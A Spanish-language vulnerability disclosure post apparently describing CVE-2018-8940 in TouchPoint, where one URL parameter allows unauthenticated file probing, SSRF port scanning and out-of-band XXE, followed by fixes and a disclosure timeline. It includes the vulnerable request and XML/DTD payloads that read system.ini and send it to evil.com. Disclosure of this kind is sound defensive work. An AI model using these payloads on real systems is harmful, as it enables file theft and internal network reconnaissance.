Durante las revisiones que se realizan en un Pentesting o Descubrimiento de vulnerabilidades de una aplicación web se suelen dar tres casos principales:

  • Se encuentran productos con vulnerabilidades conocidas
  • Existen problemas en la personalización o en la lógica de negocio de la aplicación, por lo que la vulnerabilidad solo aplica a este cliente
  • Se encuentran vulnerabilidades en algún producto utilizado, pero que se desconocían hasta el momento.

Este último caso suele ser el menos frecuente, por lo que siempre hace ilusión encontrar una nueva vulnerabilidad en un producto comercial.

No vamos a explicar ahora el método para realizar un Responsible Disclosure, simplemente indicar que siempre intentamos que el fabricante pueda lanzar un parche y corregir los problemas antes de hacer públicas las vulnerabilidades.

Precedentes

Antes de explicar la nueva vulnerabilidad encontrada, un rápido vistazo al TOP 10 de OWASP de 2017.

TOP 10 de OWASP de 2017

Lo más interesante en este caso ha sido la nueva vulnerabilidad de “XML External Entities (XXE)”, no solamente por que se trata de una nueva vulnerabilidad que no aparecía en el Top 10 de 2013, sino porque además aparece directamente en el puesto 4.

Este tipo de vulnerabilidades se conocen desde hace mucho tiempo, y se pueden utilizar para muchos ataques más complejos. Además, son fácilmente solucionables. Sin embargo se siguen produciendo debido en muchos casos por desconocimiento, muchas veces los desarrolladores no conocen que un parser de XML puede llegar a resultar peligroso, y se utilizan las configuraciones por defecto, en muchos casos vulnerables.

La vulnerabilidad CVE-2018-8940

Durante una revisión rutinaria, me topé con esta petición en el proxy:

GET /TouchPoint/api/ClientServiceConfig/GetClientServiceVersion?
&clientInstallationServiceXmlPath=https:%2F%2FVICTIMDOMAIL%2FTou
chPoint%2FClientServices%2FClientInstallationService%2FClientIns
tallationService.xml&currentVersion=7.2.5.102

Al momento saltan las alarmas, el parámetro clientInstallationServiceXmlPath hace referencia a una URL externa.

  • ¿Es posible que esta petición haga que la aplicación se conecte a dicha URL y se descargue el fichero?
  • Además de URLs con protocolo HTTP, ¿Es posible utilizar otros protocolos como file://?
  • Además, el fichero es un .xml, utilizará un parser para navegar por el contenido del fichero XML?

A partir de estas tres simples preguntas ha sido posible descubrir tres vulnerabilidades distintas en el mismo producto.

Local file check

Si en esta petición, en vez de intentar cargar un recurso alojado en internet mediante el protocolo HTTP, intentamos cargar un fichero local, podemos utilizar la aplicación para comprobar si en la máquina local donde se está ejecutando existen unos ficheros o no:

Si el fichero no existe:

Con estas dos simples peticiones ya sabemos que se trata de una máquina Windows, con usuario administrador en local. Se puede utilizar esta funcionalidad para recabar mucha más información sobre el sistema.

Como os habréis dado cuenta, la petición no tiene ningún tipo de cookie, no es necesario estar autenticado en la aplicación para que este ataque funcione.

SSRF

¿Y si en vez de pedir un fichero local, o un fichero alojado en internet, intentamos pedir un fichero alojado en la propia máquina, pero en otro puerto?

Podemos utilizar esta funcionalidad para enumerar los puertos abiertos de la propia máquina, y si tenemos información sobre la IP interna, para realizar un escaneo de la red interna.

Por ejemplo, una petición a 127.0.0.1:80 indica que el puerto está abierto y que hay un servidor HTTP:

Si cambiamos el puerto 80 por el 22 por ejemplo:

Podemos ver que el error es totalmente distinto, si por ejemplo realizamos la misma petición contra un puerto que sí está abierto, pero que no utiliza el protocolo HTTP (rdp por ejemplo), vemos que el mensaje también es distinto:

XML External Entities (XXE)

· Y llegamos a la guinda del pastel, ya hemos visto antes que el parámetro vulnerable clientInstallationServiceXmlPath accede al fichero que le indiquemos para tratarlo, si nos fijamos en los mensajes de error podemos comprobar que las librerías utilizadas para leer el fichero son:

  • System.Xml.XmlDownloadManager
  • System.Xml.XmlTextReaderImpl
  • System.Xml.XmlLoader

Parece claro que se están utilizando librerías .Net para leer el fichero XML, y que no se accede al fichero simplemente como “texto plano”.

Haciendo una rápida visita al pasado, XML, además de definir las reglas para generar documentos bien formados y con una estructura sintáctica correcta, también hace referencia a otros muchos tipos de documentos, funciones, transformaciones, etc. Podemos decir que existe una gran familia de estándares relacionados con XML.

Uno de estos estándares de los que hablamos son los DTD (Document Type Definition), se dice que un documento XML:

  • Está “bien formado” si utiliza una sintaxis correcta.
  • Si además se valida correctamente contra un DTD, también es válido.

Un DTD no deja de ser un documento escrito mediante sintaxis XML que indica como debería estar formado otro documento XML, con un ejemplo se entiende:

Los ficheros DTD pueden definir lógicas más complejas, como que un elemento solo puede aparecer un número n de veces, o que debe ser opcional/obligatorio, etc. Además, los DTD se pueden incluir dentro del propio fichero XML original:

Se puede encontrar mucha más información sobre XML y DTDs en la web de la w3c.

Si nos fijamos en el último ejemplo, podemos ver que podemos crear entidades que se mapean con una cadena de texto, existen también las “entidades externas”, que hacen básicamente lo mismo, pero pueden mapearse con el contenido de ficheros enteros que se leen directamente desde disco.

Aquí reside el verdadero poder de las entidades externas:

<!ENTITY writer SYSTEM "https://www.w3schools.com/entities.dtd">

En este caso, la entidad “&writer;” está almacenando el contenido de “entities.dtd”.

<!ENTITY xxe SYSTEM "file:///etc/passwd">

Y en este caso, la entidad “&xxe;” almacena el contenido del /etc/passwd.

Interesante ¿verdad?, vamos a juntar todo lo aprendido en este post, para poder leer fichero de la máquina en la que se está ejecutando el parser XML.

En el caso de este producto, es necesario realizar un ataque XXE OOB (XXE Out of Bounds), ya que la aplicación no nos muestra el resultado del “parser”, por eso la explotación es algo más complicada, aunque sigue los principios básicos explicados anteriormente.

Vamos a crear dos ficheros XML distintos:

XXE.xml

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE demo [
<!ELEMENT demo ANY >
<!ENTITY % dtd SYSTEM "http://evil.com/XXE.dtd">
%dtd;
]
>
<demo>&send;</demo>

Es un fichero XML con un DTD incrustado, básicamente declaramos una entidad externa llamada “dtd” que va a cargar otro fichero “XXE.dtd”. Cuando el parser lee un fichero mediante una entidad externa comprueba si se trata de un fichero XML, si lo es, intenta parsearlo también. Es decir, estamos forzando a la aplicación a parsear dos ficheros XML distintos.

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % file SYSTEM "file:///C:\windows\system.ini">
<!ENTITY % alla "<!ENTITY send SYSTEM 'http://evil.com/index.html?collect=%file;'>">
%alla;

En este caso creamos una entidad externa llamada “file” que va a almacenar el contenido del fichero “C:\windows\system.ini”, luego creamos otra entidad externa llamada “allá” que intentará cargar el contenido del fichero ubicado en hxxp://evil.com/index.html?collect=%file;. En este caso como la entidad file está almacenando el contenido del fichero system.ini, lo enviará URL encodeado al dominio controlado “evil.com” y en los logs del servidor web podremos ver el contenido de dicho fichero.

Finalmente, la entidad externa “send” es la que desencadena la petición URL, y está referenciada en el fichero XXE.xml inicial.

Puede parecer un proceso algo “lioso”, pero simplemente hay que generar los ficheros en base a los estándares XML y DTD, y el parser que utilice la aplicación víctima hará todo el trabajo.

El proceso completo por lo tanto es el siguiente:

Aunque el parser de un fallo, podemos comprobar que el contenido del fichero system.ini se ha enviado como parámetro de una petición GET al atacante.

Conclusiones

Hemos visto como un simple parámetro de una web que permite cargar un fichero XML nos permite realizar múltiples ataques:

  • Listar ficheros internos
  • Enumerar puertos abiertos
  • Leer ficheros internos

Todo se produce por la unión de dos errores básicos:

  • Permitir al usuario especificar cualquier fichero a leer por la aplicación
  • Tener habilitado en el parser de XML la ejecución de las instrucciones DTD

El primer fallo se soluciona implementando medidas de filtrado y/o lista blanca en el posible valor del parámetro clientInstallationServiceXmlPath.

El segundo fallo es aún más sencillo de solucionar, a la hora de crear el objeto XmlTextReader de .Net, hay que habilitar el flag de “ProhibitDtd”.

Fechas y referencias

  • 03/21/2018 - Discovered Vulnerability
  • 03/21/2018 - Request for CVE
  • 03/22/2018 - CVE Reserved
  • 03/26/2018 - Details sent to Vendor
  • 04/14/2019 - Vendor confirms that version 7.2.9 correct the vulnerability
  • 05/08/2019 - Public disclosure

Responsible Disclosure Mayo 2019